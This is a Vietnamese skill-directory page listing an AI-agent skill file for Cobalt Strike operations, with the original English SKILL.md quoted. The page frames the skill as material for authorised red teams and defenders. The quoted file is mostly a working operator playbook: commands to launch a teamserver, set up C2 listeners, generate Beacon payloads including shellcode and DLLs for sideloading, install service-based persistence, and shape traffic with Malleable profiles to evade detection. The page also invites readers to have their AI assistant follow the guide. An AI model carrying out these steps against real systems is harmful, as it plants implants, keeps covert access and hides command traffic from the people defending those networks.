Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14127

c2-cobalt-strike

Skill này làm gì

Hướng dẫn này nói về cách một nền tảng mô phỏng đối thủ thương mại được thiết lập cho các diễn tập được ủy quyền. Dành cho đội red team và người phòng thủ cần hiểu cách một framework phổ biến xuất hiện trên mạng.

Khi nào nên dùng

  • ✓Khi một diễn tập red team được ủy quyền dùng Cobalt Strike và nhóm cần hiểu cách thiết lập của nó.
  • ✓Khi một đội phòng thủ muốn nhận ra lưu lượng và dấu vết của Cobalt Strike.
  • ✓Khi một nhóm lên kế hoạch cách các profile lưu lượng thay đổi những gì một bộ giám sát mạng thấy.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Đội red team của chúng tôi đang dùng Cobalt Strike trong một diễn tập được ủy quyền. Bạn có thể giải thích đội phòng thủ nên để ý gì trên mạng của chúng tôi không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent giải thích các phần chính của framework, như teamserver, listener và profile lưu lượng, rồi gợi ý những gì giám sát nên phát hiện trong diễn tập.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Cobalt Strike Beacon Operations

Cobalt Strike is a commercial adversary simulation platform. It provides Beacon implants with async and interactive modes, Malleable C2 profiles for traffic shaping, and extensible post-exploitation via Aggressor scripts and the Arsenal kit.

Quick Reference

# Start teamserver
./teamserver <TEAMSERVER_IP> <PASSWORD> /path/to/malleable.profile

# Connect client
./cobaltstrike

# Generate stageless HTTPS Beacon (CLI)
./pegen --os windows --arch x64 --listener https-beacon --format exe --output /workspace/exploit/beacon.exe

# List active Beacons (Aggressor console)
beacon_ids()

MITRE ATT&CK Mapping

Technique ID Usage in Skill
Application Layer Protocol: Web Protocols T1071.001 HTTPS/HTTP Beacon traffic
Encrypted Channel: Symmetric Cryptography T1573.001 AES-256 encrypted C2 comms
Non-Application Layer Protocol T1095 Raw TCP/SMB Beacon channels
Protocol Tunneling T1572 DNS tunneling, SMB named pipe chaining

1. Teamserver Setup

The teamserver is the Cobalt Strike operator backend. All Beacons call back to it through configured listeners.

# Start teamserver with a Malleable C2 profile
cd /opt/cobaltstrike
./teamserver <TEAMSERVER_IP> <SHARED_PASSWORD> /workspace/profiles/amazon.profile

# Start on a non-default port
./teamserver <TEAMSERVER_IP> <SHARED_PASSWORD> /workspace/profiles/amazon.profile 50050

# Verify teamserver is listening
ss -tlnp | grep -E '(50050|443)'

OPSEC notes:

  • Never expose the teamserver port directly to the internet — use a redirector
  • Use a unique password per engagement; avoid defaults
  • Bind the management port to localhost or VPN interface only

2. Listener Configuration

HTTPS Listener

# Cobalt Strike GUI: Cobalt Strike > Listeners > Add
# Name:    https-beacon
# Payload: Beacon HTTPS
# Host:    <C2_DOMAIN>
# Port:    443
# Beacons: <C2_DOMAIN>
# Profile: (loaded at teamserver start)

DNS Listener

# Name:    dns-beacon
# Payload: Beacon DNS
# Host:    ns1.<C2_DOMAIN>
# Beacons: <C2_DOMAIN>
# Port:    53
# NS Response: <TEAMSERVER_IP>
#
# Required DNS records:
#   A    ns1.<C2_DOMAIN>  ->  <TEAMSERVER_IP>
#   NS   c2.<C2_DOMAIN>   ->  ns1.<C2_DOMAIN>

SMB Listener (Peer-to-Peer)

# Name:    smb-beacon
# Payload: Beacon SMB
# Pipename: \\.\pipe\msagent_<RANDOM>
#
# SMB Beacons chain through an egress Beacon — no direct internet required.
# Use for lateral movement inside segmented networks.

TCP Listener (Bind/Reverse)

# Name:    tcp-bind
# Payload: Beacon TCP (Bind)
# Port:    4444
#
# The parent Beacon connects to the child — useful when the child
# cannot initiate outbound connections.

3. Beacon Generation

Stageless Payloads (Preferred for OPSEC)

# GUI: Attacks > Packages > Windows Executable (S)
# Listener:  https-beacon
# Output:    Windows EXE (stageless)
# x64:       checked
# Save to:   /workspace/exploit/beacon_https_x64.exe

# Raw shellcode for custom loaders
# Attacks > Packages > Payload Generator
# Listener:  https-beacon
# Output:    Raw
# x64:       checked
# Save to:   /workspace/exploit/beacon.bin

Staged Payloads

# GUI: Attacks > Packages > Windows Executable
# Listener:  https-beacon
# Output:    Windows EXE
# x64:       checked
# Smaller initial payload — fetches full Beacon from listener on execution.
# WARNING: staging traffic is signatured; prefer stageless in mature environments.

DLL Payloads (Sideloading)

# Attacks > Packages > Windows DLL
# Listener:  https-beacon
# x64:       checked
# Save to:   /workspace/exploit/beacon.dll

# Execute via sideloading or rundll32
# rundll32.exe beacon.dll,StartW

Service EXE (Persistence)

# Attacks > Packages > Windows Service EXE
# Listener:  https-beacon
# x64:       checked
# Registers as a Windows service for persistence via:
#   sc create <NAME> binPath= "C:\path\to\svc_beacon.exe" start= auto

4. Malleable C2 Profiles

Malleable C2 profiles shape Beacon traffic to mimic legitimate application behavior, evading network-level detection.

Profile Structure

# /workspace/profiles/amazon.profile

set sample_name "Amazon Browsing";
set sleeptime "60000";          # 60 second callback
set jitter    "37";             # 37% jitter
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
Câu hỏi thường gặp

Teamserver là gì?

Đó là máy chủ trung tâm quản lý các implant và người vận hành trong một framework như vậy.

Vì sao profile lưu lượng quan trọng?

Chúng thay đổi cách lưu lượng trông như thế nào, và đó là lý do người phòng thủ cần phát hiện dựa trên hành vi.

Ai nên dùng?

Đội red team có ủy quyền và đội phòng thủ giám sát mạng của họ.

Chi tiết

Mô tả gốc của tác giả

Cobalt Strike operations — Beacon deployment, Malleable C2 profile creation, listener setup, OPSEC-safe beacon configuration, process injection, and Arsenal kit usage.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14127
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự